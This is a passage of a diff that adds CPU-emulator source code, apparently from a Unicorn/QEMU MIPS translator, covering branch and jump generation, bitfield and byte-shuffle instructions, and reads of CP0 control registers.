OPC_BEQ: /* rx == rx */ + case OPC_BEQL: /* rx == rx likely */ + case OPC_BGEZ: /* 0 >= 0 */ + case OPC_BGEZL: /* 0 >= 0 likely */ + case OPC_BLEZ: /* 0 <= 0 */ + case OPC_BLEZL: /* 0 <= 0 likely */ + /* Always take */ + ctx->hflags |= MIPS_HFLAG_B; + MIPS_DEBUG("balways"); + break; + case OPC_BGEZAL: /* 0 >= 0 */ + case OPC_BGEZALL: /* 0 >= 0 likely */ + /* Always take and link */ + blink = 31; + ctx->hflags |= MIPS_HFLAG_B; + MIPS_DEBUG("balways and link"); + break; + case OPC_BNE: /* rx != rx */ + case OPC_BGTZ: /* 0 > 0 */ + case OPC_BLTZ: /* 0 < 0 */ + /* Treat as NOP. */ + MIPS_DEBUG("bnever (NOP)"); + goto out; + case OPC_BLTZAL: /* 0 < 0 */ + /* Handle as an unconditional branch to get correct delay + slot checking. */ + blink = 31; + btgt = ctx->pc + insn_bytes + delayslot_size; + ctx->hflags |= MIPS_HFLAG_B; + MIPS_DEBUG("bnever and link"); + break; + case OPC_BLTZALL: /* 0 < 0 likely */ + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[31], ctx->pc + 8); + /* Skip the instruction in the delay slot */ + MIPS_DEBUG("bnever, link and skip"); + ctx->pc += 4; + goto out; + case OPC_BNEL: /* rx != rx likely */ + case OPC_BGTZL: /* 0 > 0 likely */ + case OPC_BLTZL: /* 0 < 0 likely */ + /* Skip the instruction in the delay slot */ + MIPS_DEBUG("bnever and skip"); + ctx->pc += 4; + goto out; + case OPC_J: + ctx->hflags |= MIPS_HFLAG_B; + MIPS_DEBUG("j " TARGET_FMT_lx, btgt); + break; + case OPC_JALX: + ctx->hflags |= MIPS_HFLAG_BX; + /* Fallthrough */ + case OPC_JAL: + blink = 31; + ctx->hflags |= MIPS_HFLAG_B; + MIPS_DEBUG("jal " TARGET_FMT_lx, btgt); + break; + case OPC_JR: + ctx->hflags |= MIPS_HFLAG_BR; + MIPS_DEBUG("jr %s", regnames[rs]); + break; + case OPC_JALR: + blink = rt; + ctx->hflags |= MIPS_HFLAG_BR; + MIPS_DEBUG("jalr %s, %s", regnames[rt], regnames[rs]); + break; + default: + MIPS_INVAL("branch/jump"); + generate_exception(ctx, EXCP_RI); + goto out; + } + } else { + switch (opc) { + case OPC_BEQ: + tcg_gen_setcond_tl(tcg_ctx, TCG_COND_EQ, *(TCGv *)tcg_ctx->bcond, t0, t1); + MIPS_DEBUG("beq %s, %s, " TARGET_FMT_lx, + regnames[rs], regnames[rt], btgt); + goto not_likely; + case OPC_BEQL: + tcg_gen_setcond_tl(tcg_ctx, TCG_COND_EQ, *(TCGv *)tcg_ctx->bcond, t0, t1); + MIPS_DEBUG("beql %s, %s, " TARGET_FMT_lx, + regnames[rs], regnames[rt], btgt); + goto likely; + case OPC_BNE: + tcg_gen_setcond_tl(tcg_ctx, TCG_COND_NE, *(TCGv *)tcg_ctx->bcond, t0, t1); + MIPS_DEBUG("bne %s, %s, " TARGET_FMT_lx, + regnames[rs], regnames[rt], btgt); + goto not_likely; + case OPC_BNEL: + tcg_gen_setcond_tl(tcg_ctx, TCG_COND_NE, *(TCGv *)tcg_ctx->bcond, t0, t1); + MIPS_DEBUG("bnel %s, %s, " TARGET_FMT_lx, + regnames[rs], regnames[rt], btgt); + goto likely; + case OPC_BGEZ: + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_GE, *(TCGv *)tcg_ctx->bcond, t0, 0); + MIPS_DEBUG("bgez %s, " TARGET_FMT_lx, regnames[rs], btgt); + goto not_likely; + case OPC_BGEZL: + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_GE, *(TCGv *)tcg_ctx->bcond, t0, 0); + MIPS_DEBUG("bgezl %s, " TARGET_FMT_lx, regnames[rs], btgt); + goto likely; + case OPC_BGEZAL: + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_GE, *(TCGv *)tcg_ctx->bcond, t0, 0); + MIPS_DEBUG("bgezal %s, " TARGET_FMT_lx, regnames[rs], btgt); + blink = 31; + goto not_likely; + case OPC_BGEZALL: + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_GE, *(TCGv *)tcg_ctx->bcond, t0, 0); + blink = 31; + MIPS_DEBUG("bgezall %s, " TARGET_FMT_lx, regnames[rs], btgt); + goto likely; + case OPC_BGTZ: + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_GT, *(TCGv *)tcg_ctx->bcond, t0, 0); + MIPS_DEBUG("bgtz %s, " TARGET_FMT_lx, regnames[rs], btgt); + goto not_likely; + case OPC_BGTZL: + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_GT, *(TCGv *)tcg_ctx->bcond, t0, 0); + MIPS_DEBUG("bgtzl %s, " TARGET_FMT_lx, regnames[rs], btgt); + goto likely; + case OPC_BLEZ: + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_LE, *(TCGv *)tcg_ctx->bcond, t0, 0); + MIPS_DEBUG("blez %s, " TARGET_FMT_lx, regnames[rs], btgt); + goto not_likely; + case OPC_BLEZL: + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_LE, *(TCGv *)tcg_ctx->bcond, t0, 0); + MIPS_DEBUG("blezl %s, " TARGET_FMT_lx, regnames[rs], btgt); + goto likely; + case OPC_BLTZ: + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_LT, *(TCGv *)tcg_ctx->bcond, t0, 0); + MIPS_DEBUG("bltz %s, " TARGET_FMT_lx, regnames[rs], btgt); + goto not_likely; + case OPC_BLTZL: + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_LT, *(TCGv *)tcg_ctx->bcond, t0, 0); + MIPS_DEBUG("bltzl %s, " TARGET_FMT_lx, regnames[rs], btgt); + goto likely; + case OPC_BPOSGE32: + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_GE, *(TCGv *)tcg_ctx->bcond, t0, 32); + MIPS_DEBUG("bposge32 " TARGET_FMT_lx, btgt); + goto not_likely; +#if defined(TARGET_MIPS64) + case OPC_BPOSGE64: + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_GE, *(TCGv *)tcg_ctx->bcond, t0, 64); + MIPS_DEBUG("bposge64 " TARGET_FMT_lx, btgt); + goto not_likely; +#endif + case OPC_BLTZAL: + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_LT, *(TCGv *)tcg_ctx->bcond, t0, 0); + blink = 31; + MIPS_DEBUG("bltzal %s, " TARGET_FMT_lx, regnames[rs], btgt); + not_likely: + ctx->hflags |= MIPS_HFLAG_BC; + break; + case OPC_BLTZALL: + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_LT, *(TCGv *)tcg_ctx->bcond, t0, 0); + blink = 31; + MIPS_DEBUG("bltzall %s, " TARGET_FMT_lx, regnames[rs], btgt); + likely: + ctx->hflags |= MIPS_HFLAG_BL; + break; + default: + MIPS_INVAL("conditional branch/jump"); + generate_exception(ctx, EXCP_RI); + goto out; + } + } + MIPS_DEBUG("enter ds: link %d cond %02x target " TARGET_FMT_lx, + blink, ctx->hflags, btgt); + + ctx->btarget = btgt; + + switch (delayslot_size) { + case 2: + ctx->hflags |= MIPS_HFLAG_BDS16; + break; + case 4: + ctx->hflags |= MIPS_HFLAG_BDS32; + break; + } + + if (blink > 0) { + int post_delay = insn_bytes + delayslot_size; + int lowbit = !!(ctx->hflags & MIPS_HFLAG_M16); + + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[blink], ctx->pc + post_delay + lowbit); + } + + out: + if (insn_bytes == 2) + ctx->hflags |= MIPS_HFLAG_B16; + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, t1); +} + +/* special3 bitfield operations */ +static void gen_bitops (DisasContext *ctx, uint32_t opc, int rt, + int rs, int lsb, int msb) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv t0 = tcg_temp_new(tcg_ctx); + TCGv t1 = tcg_temp_new(tcg_ctx); + + gen_load_gpr(ctx, t1, rs); + switch (opc) { + case OPC_EXT: + if (lsb + msb > 31) + goto fail; + tcg_gen_shri_tl(tcg_ctx, t0, t1, lsb); + if (msb != 31) { + tcg_gen_andi_tl(tcg_ctx, t0, t0, (1U << (msb + 1)) - 1); + } else { + tcg_gen_ext32s_tl(tcg_ctx, t0, t0); + } + break; +#if defined(TARGET_MIPS64) + case OPC_DEXTM: + tcg_gen_shri_tl(tcg_ctx, t0, t1, lsb); + if (msb != 31) { + tcg_gen_andi_tl(tcg_ctx, t0, t0, (1ULL << (msb + 1 + 32)) - 1); + } + break; + case OPC_DEXTU: + tcg_gen_shri_tl(tcg_ctx, t0, t1, lsb + 32); + tcg_gen_andi_tl(tcg_ctx, t0, t0, (1ULL << (msb + 1)) - 1); + break; + case OPC_DEXT: + tcg_gen_shri_tl(tcg_ctx, t0, t1, lsb); + tcg_gen_andi_tl(tcg_ctx, t0, t0, (1ULL << (msb + 1)) - 1); + break; +#endif + case OPC_INS: + if (lsb > msb) + goto fail; + gen_load_gpr(ctx, t0, rt); + tcg_gen_deposit_tl(tcg_ctx, t0, t0, t1, lsb, msb - lsb + 1); + tcg_gen_ext32s_tl(tcg_ctx, t0, t0); + break; +#if defined(TARGET_MIPS64) + case OPC_DINSM: + gen_load_gpr(ctx, t0, rt); + tcg_gen_deposit_tl(tcg_ctx, t0, t0, t1, lsb, msb + 32 - lsb + 1); + break; + case OPC_DINSU: + gen_load_gpr(ctx, t0, rt); + tcg_gen_deposit_tl(tcg_ctx, t0, t0, t1, lsb + 32, msb - lsb + 1); + break; + case OPC_DINS: + gen_load_gpr(ctx, t0, rt); + tcg_gen_deposit_tl(tcg_ctx, t0, t0, t1, lsb, msb - lsb + 1); + break; +#endif + default: +fail: + MIPS_INVAL("bitops"); + generate_exception(ctx, EXCP_RI); + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, t1); + return; + } + gen_store_gpr(tcg_ctx, t0, rt); + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, t1); +} + +static void gen_bshfl (DisasContext *ctx, uint32_t op2, int rt, int rd) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + TCGv t0; + + if (rd == 0) { + /* If no destination, treat it as a NOP. */ + MIPS_DEBUG("NOP"); + return; + } + + t0 = tcg_temp_new(tcg_ctx); + gen_load_gpr(ctx, t0, rt); + switch (op2) { + case OPC_WSBH: + { + TCGv t1 = tcg_temp_new(tcg_ctx); + + tcg_gen_shri_tl(tcg_ctx, t1, t0, 8); + tcg_gen_andi_tl(tcg_ctx, t1, t1, 0x00FF00FF); + tcg_gen_shli_tl(tcg_ctx, t0, t0, 8); + tcg_gen_andi_tl(tcg_ctx, t0, t0, ~0x00FF00FF); + tcg_gen_or_tl(tcg_ctx, t0, t0, t1); + tcg_temp_free(tcg_ctx, t1); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rd], t0); + } + break; + case OPC_SEB: + tcg_gen_ext8s_tl(tcg_ctx, *cpu_gpr[rd], t0); + break; + case OPC_SEH: + tcg_gen_ext16s_tl(tcg_ctx, *cpu_gpr[rd], t0); + break; +#if defined(TARGET_MIPS64) + case OPC_DSBH: + { + TCGv t1 = tcg_temp_new(tcg_ctx); + + tcg_gen_shri_tl(tcg_ctx, t1, t0, 8); + tcg_gen_andi_tl(tcg_ctx, t1, t1, 0x00FF00FF00FF00FFULL); + tcg_gen_shli_tl(tcg_ctx, t0, t0, 8); + tcg_gen_andi_tl(tcg_ctx, t0, t0, ~0x00FF00FF00FF00FFULL); + tcg_gen_or_tl(tcg_ctx, *cpu_gpr[rd], t0, t1); + tcg_temp_free(tcg_ctx, t1); + } + break; + case OPC_DSHD: + { + TCGv t1 = tcg_temp_new(tcg_ctx); + + tcg_gen_shri_tl(tcg_ctx, t1, t0, 16); + tcg_gen_andi_tl(tcg_ctx, t1, t1, 0x0000FFFF0000FFFFULL); + tcg_gen_shli_tl(tcg_ctx, t0, t0, 16); + tcg_gen_andi_tl(tcg_ctx, t0, t0, ~0x0000FFFF0000FFFFULL); + tcg_gen_or_tl(tcg_ctx, t0, t0, t1); + tcg_gen_shri_tl(tcg_ctx, t1, t0, 32); + tcg_gen_shli_tl(tcg_ctx, t0, t0, 32); + tcg_gen_or_tl(tcg_ctx, *cpu_gpr[rd], t0, t1); + tcg_temp_free(tcg_ctx, t1); + } + break; +#endif + default: + MIPS_INVAL("bsfhl"); + generate_exception(ctx, EXCP_RI); + tcg_temp_free(tcg_ctx, t0); + return; + } + tcg_temp_free(tcg_ctx, t0); +} + +#ifndef CONFIG_USER_ONLY +/* CP0 (MMU and control) */ +static inline void gen_mfc0_load32 (DisasContext *ctx, TCGv arg, target_ulong off) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv_i32 t0 = tcg_temp_new_i32(tcg_ctx); + + tcg_gen_ld_i32(tcg_ctx, t0, tcg_ctx->cpu_env, off); + tcg_gen_ext_i32_tl(tcg_ctx, arg, t0); + tcg_temp_free_i32(tcg_ctx, t0); +} + +static inline void gen_mfc0_load64 (DisasContext *ctx, TCGv arg, target_ulong off) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, off); + tcg_gen_ext32s_tl(tcg_ctx, arg, arg); +} + +static inline void gen_mtc0_store32 (DisasContext *ctx, TCGv arg, target_ulong off) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv_i32 t0 = tcg_temp_new_i32(tcg_ctx); + + tcg_gen_trunc_tl_i32(tcg_ctx, t0, arg); + tcg_gen_st_i32(tcg_ctx, t0, tcg_ctx->cpu_env, off); + tcg_temp_free_i32(tcg_ctx, t0); +} + +static inline void gen_mtc0_store64 (DisasContext *ctx, TCGv arg, target_ulong off) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + tcg_gen_ext32s_tl(tcg_ctx, arg, arg); + tcg_gen_st_tl(tcg_ctx, arg, tcg_ctx->cpu_env, off); +} + +static inline void gen_mfc0_unimplemented(DisasContext *ctx, TCGv arg) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + if (ctx->insn_flags & ISA_MIPS32R6) { + tcg_gen_movi_tl(tcg_ctx, arg, 0); + } else { + tcg_gen_movi_tl(tcg_ctx, arg, ~0); + } +} + +#define CP0_CHECK(c) \ + do { \ + if (!(c)) { \ + goto cp0_unimplemented; \ + } \ + } while (0) + +static void gen_mfc0(DisasContext *ctx, TCGv arg, int reg, int sel) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + const char *rn = "invalid"; + + if (sel != 0) + check_insn(ctx, ISA_MIPS32); + + switch (reg) { + case 0: + switch (sel) { + case 0: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Index)); + rn = "Index"; + break; + case 1: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mfc0_mvpcontrol(tcg_ctx, arg, tcg_ctx->cpu_env); + rn = "MVPControl"; + break; + case 2: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mfc0_mvpconf0(tcg_ctx, arg, tcg_ctx->cpu_env); + rn = "MVPConf0"; + break; + case 3: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mfc0_mvpconf1(tcg_ctx, arg, tcg_ctx->cpu_env); + rn = "MVPConf1"; + break; + default: + goto cp0_unimplemented; + } + break; + case 1: + switch (sel) { + case 0: + CP0_CHECK(!(ctx->insn_flags & ISA_MIPS32R6)); + gen_helper_mfc0_random(tcg_ctx, arg, tcg_ctx->cpu_env); + rn = "Random"; + break; + case 1: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_VPEControl)); + rn = "VPEControl"; + break; + case 2: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_VPEConf0)); + rn = "VPEConf0"; + break; + case 3: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_VPEConf1)); + rn = "VPEConf1"; + break; + case 4: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_mfc0_load64(ctx, arg, offsetof(CPUMIPSState, CP0_YQMask)); + rn = "YQMask"; + break; + case 5: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_mfc0_load64(ctx, arg, offsetof(CPUMIPSState, CP0_VPESchedule)); + rn = "VPESchedule"; + break; + case 6: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_mfc0_load64(ctx, arg, offsetof(CPUMIPSState, CP0_VPEScheFBack)); + rn = "VPEScheFBack"; + break; + case 7: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_VPEOpt)); + rn = "VPEOpt"; + break; + default: + goto cp0_unimplemented; + } + break; + case 2: + switch (sel) { + case 0: + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_EntryLo0)); +#if defined(TARGET_MIPS64) + if (ctx->rxi) { + TCGv tmp = tcg_temp_new(tcg_ctx); + tcg_gen_andi_tl(tcg_ctx, tmp, arg, (3ull << 62)); + tcg_gen_shri_tl(tcg_ctx, tmp, tmp, 32); + tcg_gen_or_tl(tcg_ctx, arg, arg, tmp); + tcg_temp_free(tcg_ctx, tmp); + } +#endif + tcg_gen_ext32s_tl(tcg_ctx, arg, arg); + rn = "EntryLo0"; + break; + case 1: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mfc0_tcstatus(tcg_ctx, arg, tcg_ctx->cpu_env); + rn = "TCStatus"; + break; + case 2: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mfc0_tcbind(tcg_ctx, arg, tcg_ctx->cpu_env); + rn = "TCBind"; + break; + case 3: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mfc0_tcrestart(tcg_ctx, arg, tcg_ctx->cpu_env); + rn = "TCRestart"; + break; + case 4: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mfc0_tchalt(tcg_ctx, arg, tcg_ctx->cpu_env); + rn = "TCHalt"; + break; + case 5: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mfc0_tccontext(tcg_ctx, arg, tcg_ctx->cpu_env); + rn = "TCContext"; + break; + case 6: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mfc0_tcschedule(tcg_ctx, arg, tcg_ctx->cpu_env); + rn = "TCSchedule"; + break; + case 7: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mfc0_tcschefback(tcg_ctx, arg, tcg_ctx->cpu_env); + rn = "TCScheFBack"; + break; + default: + goto cp0_unimplemented; + } + break; + case 3: + switch (sel) { + case 0: + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_EntryLo1)); +#if defined(TARGET_MIPS64) + if (ctx->rxi) { + TCGv tmp = tcg_temp_new(tcg_ctx); + tcg_gen_andi_tl(tcg_ctx, tmp, arg, (3ull << 62)); + tcg_gen_shri_tl(tcg_ctx, tmp, tmp, 32); + tcg_gen_or_tl(tcg_ctx, arg, arg, tmp); + tcg_temp_free(tcg_ctx, tmp); + } +#endif + tcg_gen_ext32s_tl(tcg_ctx, arg, arg); + rn = "EntryLo1"; + break; + default: + goto cp0_unimplemented; + } + break; + case 4: + switch (sel) { + case 0: + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_Context)); + tcg_gen_ext32s_tl(tcg_ctx, arg, arg); + rn = "Context"; + break; + case 1: +// gen_helper_mfc0_contextconfig(arg); /* SmartMIPS ASE */ + rn = "ContextConfig"; + goto cp0_unimplemented; +// break; + case 2: + CP0_CHECK(ctx->ulri); + tcg_gen_ld32s_tl(tcg_ctx, arg, tcg_ctx->cpu_env, + offsetof(CPUMIPSState, active_tc.CP0_UserLocal)); + rn = "UserLocal"; + break; + default: + goto cp0_unimplemented; + } + break; + case 5: + switch (sel) { + case 0: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_PageMask)); + rn = "PageMask"; + break; + case 1: + check_insn(ctx, ISA_MIPS32R2); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_PageGrain)); + rn = "PageGrain"; + break; + default: + goto cp0_unimplemented; + } + break; + case 6: + switch (sel) { + case 0: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Wired)); + rn = "Wired"; + break; + case 1: + check_insn(ctx, ISA_MIPS32R2); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_SRSConf0)); + rn = "SRSConf0"; + break; + case 2: + check_insn(ctx, ISA_MIPS32R2); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_SRSConf1)); + rn = "SRSConf1"; + break; + case 3: + check_insn(ctx, ISA_MIPS32R2); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_SRSConf2)); + rn = "SRSConf2"; + break; + case 4: + check_insn(ctx, ISA_MIPS32R2); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_SRSConf3)); + rn = "SRSConf3"; + break; + case 5: + check_insn(ctx, ISA_MIPS32R2); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_SRSConf4)); + rn = "SRSConf4"; + break; + default: + goto cp0_unimplemented; + } + break; + case 7: + switch (sel) { + case 0: + check_insn(ctx, ISA_MIPS32R2); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_HWREna)); + rn = "HWREna"; + break; + default: + goto cp0_unimplemented; + } + break; + case 8: + switch (sel) { + case 0: + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_BadVAddr)); + tcg_gen_ext32s_tl(tcg_ctx, arg, arg); + rn = "BadVAddr"; + break; + case 1: + CP0_CHECK(ctx->bi); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_BadInstr)); + rn = "BadInstr"; + break; + case 2: + CP0_CHECK(ctx->bp); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_BadInstrP)); + rn = "BadInstrP"; + break; + default: + goto cp0_unimplemented; + } + break; + case 9: + switch (sel) { + case 0: + /* Mark as an IO operation because we read the time. */ + //if (use_icount) + // gen_io_start(); + gen_helper_mfc0_count(tcg_ctx, arg, tcg_ctx->cpu_env); + //if (use_icount) { + // gen_io_end(); + //} + /* Break the TB to be able to take timer interrupts immediately + after reading count. */ + ctx->bstate = BS_STOP; + rn = "Count"; + break; + /* 6,7 are implementation dependent */ + default: + goto cp0_unimplemented; + } + break; + case 10: + switch (sel) { + case 0: + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_EntryHi)); + tcg_gen_ext32s_tl(tcg_ctx, arg, arg); + rn = "EntryHi"; + break; + default: + goto cp0_unimplemented; + } + break; + case 11: + switch (sel) { + case 0: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Compare)); + rn = "Compare"; + break; + /* 6,7 are implementation dependent */ + default: + goto cp0_unimplemented; + } + break; + case 12: + switch (sel) { + case 0: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Status)); + rn = "Status"; + break; + case 1: + check_insn(ctx, ISA_MIPS32R2); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_IntCtl)); + rn = "IntCtl"; + break; + case 2: + check_insn(ctx, ISA_MIPS32R2); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_SRSCtl)); + rn = "SRSCtl"; + break; + case 3: + check_insn(ctx, ISA_MIPS32R2); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_SRSMap)); + rn = "SRSMap"; + break; + default: + goto cp0_unimplemented; + } + break; + case 13: + switch (sel) { + case 0: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Cause)); + rn = "Cause"; + break; + default: + goto cp0_unimplemented; + } + break; + case 14: + switch (sel) { + case 0: + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_EPC)); + tcg_gen_ext32s_tl(tcg_ctx, arg, arg); + rn = "EPC"; + break; + default: + goto cp0_unimplemented; + } + break; + case 15: + switch (sel) { + case 0: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_PRid)); + rn = "PRid"; + break; + case 1: + check_insn(ctx, ISA_MIPS32R2); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_EBase)); + rn = "EBase"; + break; + default: + goto cp0_unimplemented; + } + break; + case 16: + switch (sel) { + case 0: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Config0)); + rn = "Config"; + break; + case 1: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Config1)); + rn = "Config1"; + break; + case 2: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Config2)); + rn = "Config2"; + break; + case 3: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Config3)); + rn = "Config3"; + break; + case 4: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Config4)); + rn = "Config4"; + break; + case 5: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Config5)); + rn = "Config5"; + break; + /* 6,7 are implementation dependent */ + case 6: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Config6)); + rn = "Config6"; + break; + case 7: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Config7)); + rn = "Config7"; + break; + default: + goto cp0_unimplemented; + } + break; + case 17: + switch (sel) { + case 0: + gen_helper_mfc0_lladdr(tcg_ctx, arg, tcg_ctx->cpu_env); + rn = "LLAddr"; + break; + default: + goto cp0_unimplemented; + } + break; + case 18: + switch (sel) { + case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7: + gen_helper_1e0i(tcg_ctx, mfc0_watchlo, arg, sel); + rn = "WatchLo"; + break; + default: + goto cp0_unimplemented; + } + break; + case 19: + switch (sel) { + case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7: + gen_helper_1e0i(tcg_ctx, mfc0_watchhi, arg, sel); + rn = "WatchHi"; + break; + default: + goto cp0_unimplemented; + } + break; + case 20: + switch (sel) { + case 0: +#if defined(TARGET_MIPS64) + check_insn(ctx, ISA_MIPS3); + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_XContext)); + tcg_gen_ext32s_tl(tcg_ctx, arg, arg); + rn = "XContext"; + break; +#endif + default: + goto cp0_unimplemented; + } + break; + case 21: + /* Officially reserved, but sel 0 is used for R1x000 framemask */ + CP0_CHECK(!(ctx->insn_flags & ISA_MIPS32R6)); + switch (sel) { + case 0: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Framemask)); + rn = "Framemask"; + break; + default: + goto cp0_unimplemented; + } + break; + case 22: + tcg_gen_movi_tl(tcg_ctx, arg, 0); /* unimplemented */ + rn = "'Diagnostic"; /* implementation dependent */ + break; + case 23: + switch (sel) { + case 0: + gen_helper_mfc0_debug(tcg_ctx, arg, tcg_ctx->cpu_env); /* EJTAG support */ + rn = "Debug"; + break; + case 1: +// gen_helper_mfc0_tracecontrol(arg); /* PDtrace support */ + rn = "TraceControl"; +// break; + case 2: +// gen_helper_mfc0_tracecontrol2(arg); /* PDtrace support */ + rn = "TraceControl2"; +// break; + case 3: +// gen_helper_mfc0_usertracedata(arg); /* PDtrace support */ + rn = "UserTraceData"; +// break; + case 4: +// gen_helper_mfc0_tracebpc(arg); /* PDtrace support */ + rn = "TraceBPC"; +// break; + default: + goto cp0_unimplemented; + } + break; + case 24: + switch (sel) { + case 0: + /* EJTAG support */ + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_DEPC)); + tcg_gen_ext32s_tl(tcg_ctx, arg, arg); + rn = "DEPC"; + break; + default: + goto cp0_unimplemented; + } + break; + case 25: + switch (sel) { + case 0: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Performance0)); + rn = "Performance0"; + break; + case 1: +// gen_helper_mfc0_performance1(arg); + rn = "Performance1"; +// break; + case 2: +// gen_helper_mfc0_performance2(arg); + rn = "Performance2"; +// break; + case 3: +// gen_helper_mfc0_performance3(arg); + rn = "Performance3"; +// break; + case 4: +// gen_helper_mfc0_performance4(arg); + rn = "Performance4"; +// break; + case 5: +// gen_helper_mfc0_performance5(arg); + rn = "Performance5"; +// break; + case 6: +// gen_helper_mfc0_performance6(arg); + rn = "Performance6"; +// break; + case 7: +// gen_helper_mfc0_performance7(arg); + rn = "Performance7"; +// break; + default: + goto cp0_unimplemented; + } + break; + case 26: + tcg_gen_movi_tl(tcg_ctx, arg, 0); /* unimplemented */ + rn = "ECC"; + break; + case 27: + switch (sel) { + case 0: case 1: case 2: case 3: + tcg_gen_movi_tl(tcg_ctx, arg, 0); /* unimplemented */ + rn = "CacheErr"; + break; + default: + goto cp0_unimplemented; + } + break; + case 28: + switch (sel) { + case 0: + case 2: + case 4: + case 6: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, 